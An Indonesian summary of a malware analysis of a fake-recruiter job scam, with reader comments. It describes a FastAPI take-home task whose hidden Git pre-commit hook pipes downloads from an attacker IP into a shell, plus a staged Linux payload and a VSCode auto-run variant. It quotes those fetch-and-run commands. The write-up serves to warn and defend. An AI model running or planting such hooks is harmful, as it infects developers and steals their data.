- Perekrut palsu di LinkedIn yang menawarkan posisi developer Python remote dengan gaji $10.000–15.000 per bulan mengirim file ZIP yang menyamar sebagai tugas FastAPI biasa, dan menyusunnya agar malware terpasang selama proses kerja Git
- Di
.git/hookspada repositori tersembunyi hook pre-commit yang diam-diam menjalankan payload jarak jauh sesuai sistem operasi, sementara langkah Git dalam PDF tugas menjadi perangkap yang mendorong kandidat untuk mengeksekusinya - Payload Linux mengunduh skrip tahap kedua ke
~/Documents, menjalankannya dengannohup, lalu memasang Node.js, dependensi, danparser.jsyang telah diobfuscate untuk berjalan di latar belakang - Jika nilai
id=402pada request diubah, skrip lain dikembalikan;package.jsonmemuatclipboardyuntuk akses clipboard danhardhatuntuk lingkungan pengembangan Ethereum, tetapi tujuan akhirnya belum terkonfirmasi - Penyerang hanya menambahkan direktori berbahaya ke repositori FastAPI publik, sementara varian lain menjalankan perintah hanya dengan membuka folder di VSCode. Sebelum menangani proyek eksternal, periksa direktori tersembunyi dan pengaturan eksekusi otomatis
Tawaran kerja yang terlalu bagus
- Tawaran rekrutmen developer Python yang datang lewat LinkedIn berbentuk kontrak remote-first dengan kemungkinan menjadi karyawan tetap, dengan bayaran $10.000–15.000 per bulan
- Gaji tinggi diungkapkan bahkan sebelum wawancara, dan besarnya nominal itu untuk standar India menjadi sinyal peringatan pertama
- Perusahaan yang dipakai dalam rekrutmen memang terverifikasi sebagai startup Y Combinator, tetapi masih menimbulkan kecurigaan karena perusahaan dengan anggaran sebesar itu biasanya memiliki proses rekrutmen yang lebih terstruktur
- Setelah CV dikirim, persetujuan datang segera, lalu arsip ZIP dan PDF instruksi tugas diterima melalui Google Drive
- PDF tersebut meminta perbaikan codebase yang ada, usulan arsitektur, serta pekerjaan Git, sehingga sekilas tampak seperti dokumen evaluasi yang normal
Hook Git tersembunyi dalam proyek FastAPI
- File arsip berisi backend FastAPI biasa yang menggunakan SQLAlchemy, dan pada
requirements.txttidak ditemukan typosquatting maupun paket yang jelas-jelas berbahaya - Saat menjalankan
tree -auntuk memeriksa item tersembunyi, terlihat beberapa hook Git sudah dikonfigurasi sebelumnya di bawah.git/hooks - Skrip
pre-commitmendeteksi sistem operasi denganuname -s, lalu mengunduh dan menjalankan payload khusus platform dari server yang sama- Di macOS, menjalankan
curl .../task/mac?id=402 | sh - Di Linux, menjalankan
wget .../task/linux?id=402 | sh - Di keluarga Windows, menjalankan
curl .../task/windows?id=402 | cmd
- Di macOS, menjalankan
- Semua output diarahkan ke
/dev/nulldan proses dijalankan di latar belakang untuk menyembunyikan jejak eksekusi dari pengguna - Alih-alih domain, penggunaan langsung alamat IP mentah
45.61.164.38:5777membuat perilaku berbahaya itu lebih mencolok
Payload bertahap di Linux
- Skrip Linux pertama mengunduh
tokenlinux.nplke~/Documents, mengganti namanya menjaditokenlinux.sh, lalu memberikan izin eksekusi - Selanjutnya skrip dijalankan di latar belakang dengan
nohup bashagar proses tetap berjalan meski terminal ditutup atau pengguna logout - Skrip tahap kedua diam-diam melakukan hal berikut
- Menginstal Node.js dan mengonfigurasi path sistem
- Mengunduh
parser.jsdanpackage.json - Menginstal dependensi npm yang diperlukan
- Menjalankan
parser.jsdengannohup nodedan mencatat log keparser.log
parser.jsdiobfuscate sangat berat sehingga sulit dianalisis secara manual, dan file aslinya disimpan diparser.js
Kemungkinan identifikasi per korban
- Parameter
id=402dikirim berulang kali ke endpoint, dan ketika nilai ini diubah, server mengembalikan skrip yang sama sekali berbeda - Ada kemungkinan penyerang menetapkan pengenal unik untuk setiap kandidat dan menyediakan payload yang disesuaikan, tetapi metode pelacakan sebenarnya belum terkonfirmasi
- Untuk deobfuscation, kode dimasukkan ke beberapa LLM, tetapi hasilnya berbeda-beda
- Claude menolak analisis karena batasan keamanan aktif
- Gemini memberikan hasil analisis skrip
- Pencarian terhadap ekstensi asli
tokenlinux.nplmenunjukkan keterkaitannya dengan kampanye serangan yang lebih luas
Dependensi Node.js yang mencurigakan
- Nama proyek dalam
package.jsonadalahtokendappdan mencakuphardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,request, dan lainnya - Tidak jelas mengapa pekerjaan pengaturan latar belakang membutuhkan
clipboardyuntuk akses clipboard dan paket terkait sistem berkas hardhatadalah lingkungan pengembangan Ethereum, tetapi karena Ethereum sudah beralih dari mekanisme proof-of-work, sulit menyimpulkannya sebagai konfigurasi penambangan biasa- Kemungkinan untuk mencari dompet kripto atau berinteraksi dengan ekstensi browser lokal juga dipertimbangkan, tetapi tujuan berbahaya akhirnya belum terkonfirmasi
Varian lain yang memanfaatkan VSCode
- Varian lain dari serangan yang sama menyembunyikan folder
.vscodedi dalam file ZIP dan mengonfigurasinya agar perintah dieksekusi saat direktori tersebut dibuka dengan VSCode - Dengan metode ini, infeksi bisa terjadi hanya dengan membuka folder, tanpa menjalankan perintah Git atau kode proyek secara langsung
- Terkonfirmasi bahwa perusahaan tertentu tidak terlibat langsung dalam serangan; penyerang hanya meminjam nama perusahaan yang mereka temukan agar tawaran kerja tampak sah
Penyamaran dengan menggunakan ulang repositori publik
git logmasih memuat riwayat commit dari developer asli, bukan proyek yang dibuat oleh penyerang- Sumber aslinya adalah repositori publik
personal-finance-service - Penyerang menyalin proyek FastAPI yang normal lalu hanya menambahkan direktori tersembunyi berbahaya untuk menyamarkannya sebagai codebase tugas
- Struktur ini membuat perilaku berbahaya mudah terlewat jika hanya meninjau kode normal dan
requirements.txtyang bersih
Investigasi server serangan dan batasannya
- Hasil pemindaian server serangan dengan Nmap menunjukkan ada 3 port terbuka, dan 2 di antaranya tidak merespons deteksi versi
- Pada port 22 berjalan OpenSSH 9.6p1 di Ubuntu
- Saat pemindaian dilakukan, versi tersebut baru dirilis sekitar satu minggu, sehingga tidak ditemukan CVE yang diketahui dan dapat dimanfaatkan, dan sulit memperluas investigasi ke dalam server
- Cara distribusi malware memang mencolok, tetapi keamanan operasional server relatif terjaga, dan pelacakan berhenti di titik ini
Peran tugas Git
- Langkah Git dalam PDF tugas adalah mekanisme untuk mendorong kandidat menjalankan setidaknya satu perintah Git sehingga hook yang sudah dipasang sebelumnya terpicu
- Perekrut palsu tampaknya menghapus akun LinkedIn segera setelah menerima kabar bahwa serangan telah terungkap
- Sebelum menjalankan proyek asing atau menjalankan perintah Git, gunakan alat seperti
tree -auntuk memeriksa direktori tersembunyi dan pengaturan eksekusi otomatis seperti.gitdan.vscode
2 komentar
Komentar Lobste.rs
Setelah memeriksa alamat IP 45.61.164.38, ternyata di-host di AS14956 milik RouterHosting di bawah Cloudzy, dan tidak tumpang tindih dengan daftar blokir spam wiki yang biasanya saya buka
Melaporkan penyalahgunaannya tampaknya bisa membantu
Saya belum pernah menjadi target kampanye penipuan yang dipersonalisasi, hanya menerima spam biasa dan tawaran kerja nyata berkualitas rendah, jadi agak kecewa
Bahkan tidak ada phishing yang memakai upaya tingkat menengah sekalipun
Pengaman Claude terlalu mengganggu
Pengguna yang benar-benar berniat jahat punya motivasi besar untuk melewatinya, tetapi pengguna biasa yang hanya ingin memahami isi justru terlalu mudah diblokir dan juga tidak punya alasan untuk terus mencoba
Selama lama mencari kerja, saya mengalami berbagai hal konyol, mulai dari diminta hasil kerja gratis sampai upaya meretas pelamar, dan kasus ini terlihat sebagai contoh yang sangat terang-terangan
Secara umum saya menolak tahap tugas dan pembuatan hasil kerja gratis, lalu sebagai gantinya menawarkan portofolio terkait lewat GitHub atau blog pribadi, atau mengusulkan implementasi langsung dalam sesi pair programming
Portofolio membantu menunjukkan bidang keahlian dan pengalaman konkret sambil menghindari konsultasi gratis, sehingga lebih mudah terhubung dengan peluang yang lebih cocok, dan implementasi langsung mirip dengan wawancara teknis tradisional atau percakapan desain sistem
Jika keduanya ditolak, meskipun ada beberapa false positive, itu tetap menyaring jauh lebih banyak sinyal bahaya yang nyata, jadi saya keluar dari proses wawancara
Saya mengikuti prinsip, “Jika bukti kemampuan saya tidak bisa diterima sebagai bukti di pengadilan organisasi ini, maka saya tidak ingin bekerja di sana”
Memutar musik otomatis dari situs web tanpa izin sangat mengganggu
Butuh beberapa detik untuk menemukan sumber gangguannya, dan memang mudah membisukan tab di Firefox, tetapi sejak awal ini tidak seharusnya menjadi sesuatu yang harus ditangani pengguna sendiri
Analisisnya menarik, tetapi cara tetap menyelidiki di VM khusus tepat setelah menemukan malware juga saya anggap sebagai pendekatan dengan toleransi risiko yang cukup tinggi
Bahkan penguji penetrasi yang terampil pun bisa mengalami kerugian besar karena kelengahan sesaat, jadi kehati-hatian yang nyaris paranoid memang membantu secara praktis
hardhatdapat terhubung ke Ethereum RPC jarak jauh atau menjalankan fork tiruan lokal yang hampir tidak memakai sumber dayaAda dua tujuan yang tampak mungkin: mencuri private key dari dompet yang tidak terlindungi dan serangan man-in-the-middle (MITM) yang menargetkan dompet perangkat keras
Yang pertama adalah trik sederhana yang juga umum di mod Minecraft dan sejenisnya; jika private key sudah didapat, serangan bisa dilakukan tanpa interaksi pengguna sehingga
hardhatmungkin hanya diperlukan untuk mencoba menjalankan transaksi terlebih dahuluYang kedua menyalahgunakan struktur di mana ekstensi browser menyiarkan transaksi yang sudah ditandatangani melalui server RPC yang di-host
Saat pengguna merasa sedang melakukan transaksi normal di situs web tepercaya, server RPC dapat menggantinya dengan payload berbahaya, dan jika pengguna menandatangani tanpa benar-benar memeriksa isi di dompet perangkat keras, penyerang dapat mengeksekusinya
Opini Hacker News
Baru setelah membaca tulisan ini, saya sadar bahwa saya diretas dengan cara yang jauh lebih canggih
Beberapa minggu lalu saya diwawancarai oleh CTO dari sebuah perusahaan sungguhan. Kameranya dimatikan dan aksennya cukup kuat, tetapi isi wawancaranya terasa alami dan orang itu juga paham teknis. Dalam wawancara teknis, ia mengatakan saya perlu memodifikasi proyek open source perusahaan, lalu meminta saya mengkloning repositori dan memeriksa lingkungan pengembangannya
Setelah itu, staf HR mengatakan wawancara ditunda karena CTO sakit, dan beberapa hari kemudian profil LinkedIn staf tersebut juga dihapus. Setelah melihat tulisan ini dan mengeceknya, ternyata repositori yang saya kloning dan jalankan saat wawancara berisi payload malware
Sepertinya saya menjadi target karena dulu mengelola paket NPM dengan lebih dari 43 juta unduhan mingguan. Saya sudah menerapkan autentikasi dua faktor di semua akun dan selalu merilis paket NPM secara manual tanpa token, tetapi laptop tetap harus di-reset dan semuanya diinstal ulang
Saya mencari tulisan-tulisan HN yang mirip, tetapi tidak menemukan kasus yang sampai melakukan panggilan Google Meet dengan penipu
Kalau perusahaannya serius, mereka akan mempertimbangkan hal itu; kalau menolak, berarti saya menghindari risiko. Sekarang LLM sudah banyak dipakai untuk pembuatan kode, jadi menurut saya ini semestinya bisa dilakukan di stack teknologi apa pun
Sepertinya belakangan ini serangan dari Korea Utara yang menargetkan developer makin meningkat. Selain taktik seperti ini yang sudah berlangsung bertahun-tahun, saya juga menerima email dari peretas Korea Utara kira-kira seminggu sekali yang bilang “saya melihat profil Anda, mau berkolaborasi?”
Di komunitas Discord pemrograman juga banyak akun yang, dalam beberapa hari setelah bergabung, meminta pekerjaan atau kolaborasi. Bisa saja mereka pencari kerja sungguhan, tetapi jumlah dan kemiripan pesannya mencurigakan. Bahkan komunitas library Python non-mainstream yang hampir tidak aktif pun didatangi, jadi sepertinya mereka mengikis daftar komunitas Discord dan mendekati orang secara massal
Karena makin banyak serangan yang menyalahgunakan rasa saling percaya, kita perlu mengikuti nasihat orang tua: jangan percaya orang asing di internet
Taktik memeriksa sistem operasi korban lalu diam-diam menjalankan payload jarak jauh terus berulang, dan bulan lalu tulisan serupa juga sempat masuk halaman depan
https://news.ycombinator.com/item?id=48546294
Alamat IP mentah memang memberi kesan kuat sebagai malware, tetapi korban yang sudah memeriksa cukup dalam sampai melihat isi hook juga tidak akan berhenti curiga di titik itu. Kebanyakan developer mungkin tidak berpikir bahwa
git commitbisa menjalankan tindakan berbahaya, jadi saya penasaran apakah ini celah keamanan GitYang tersisa hanya fakta bahwa karena berbagai pengaman, Claude sama sekali tidak berguna sebagai asisten
Penggunaan IP mentah mungkin bertujuan agar tidak meninggalkan informasi identitas di registrar domain atau untuk meminimalkan jejak online
Sebagian besar screenshot tidak langsung terbuka, jadi harus dilihat di tab baru
Penipuan ini cukup licik, sehingga tampaknya sudah banyak pencari kerja yang menjadi korban, dan proyek Visual Studio Code yang disebutkan dalam tulisan itu terlihat lebih berbahaya. Jika membuka proyek saja bisa menjalankan kode pengguna, itu jelas merupakan jalur malware, sehingga perlu mitigasi keamanan
Respons situs rekrutmen juga masih kurang. Jika seseorang mengaku berasal dari perusahaan atau organisasi, mereka bisa diminta membuktikan status kerja, dan pesan dari akun yang belum diverifikasi diberi peringatan besar; itu saja sudah akan mempersulit banyak penipuan. Saat ini siapa pun bisa mengklaim riwayat kerja atau pendidikan di perusahaan mana pun
Senang melihat tulisan tentang peretasan sungguhan muncul di halaman depan Hacker News
http://www.catb.org/jargon/html/H/hacker.html
Istilah itu berarti orang yang mengeksplorasi detail struktur dan batasan sistem yang dapat diprogram, khususnya orang yang menikmati pemahaman mendalam tentang cara kerja internal komputer dan jaringan. Juga berarti orang yang memprogram dengan antusias, kadang sampai gigih, bukan hanya berhenti di teori
Jika LinkedIn serius mencegah penipuan, mereka bisa menyediakan verifikasi email perusahaan saat seseorang mencantumkan tempat kerja saat ini. Jika mewajibkannya terasa terlalu berat, setidaknya perekrut yang ingin menunjukkan legitimasi bisa memilih untuk diverifikasi
Sekarang pun sepertinya hal serupa akan terjadi dengan menyasar pasar rekrutmen AI serta permintaan terhadap LLM dan otomatisasi
Serangan seperti ini tampaknya akan makin umum. Para penyerangnya melakukan riset dengan sangat teliti dan metodenya kejam, tetapi tingkat kematangan teknisnya patut diakui, dan saya rasa tingkat keberhasilan nyatanya juga cukup tinggi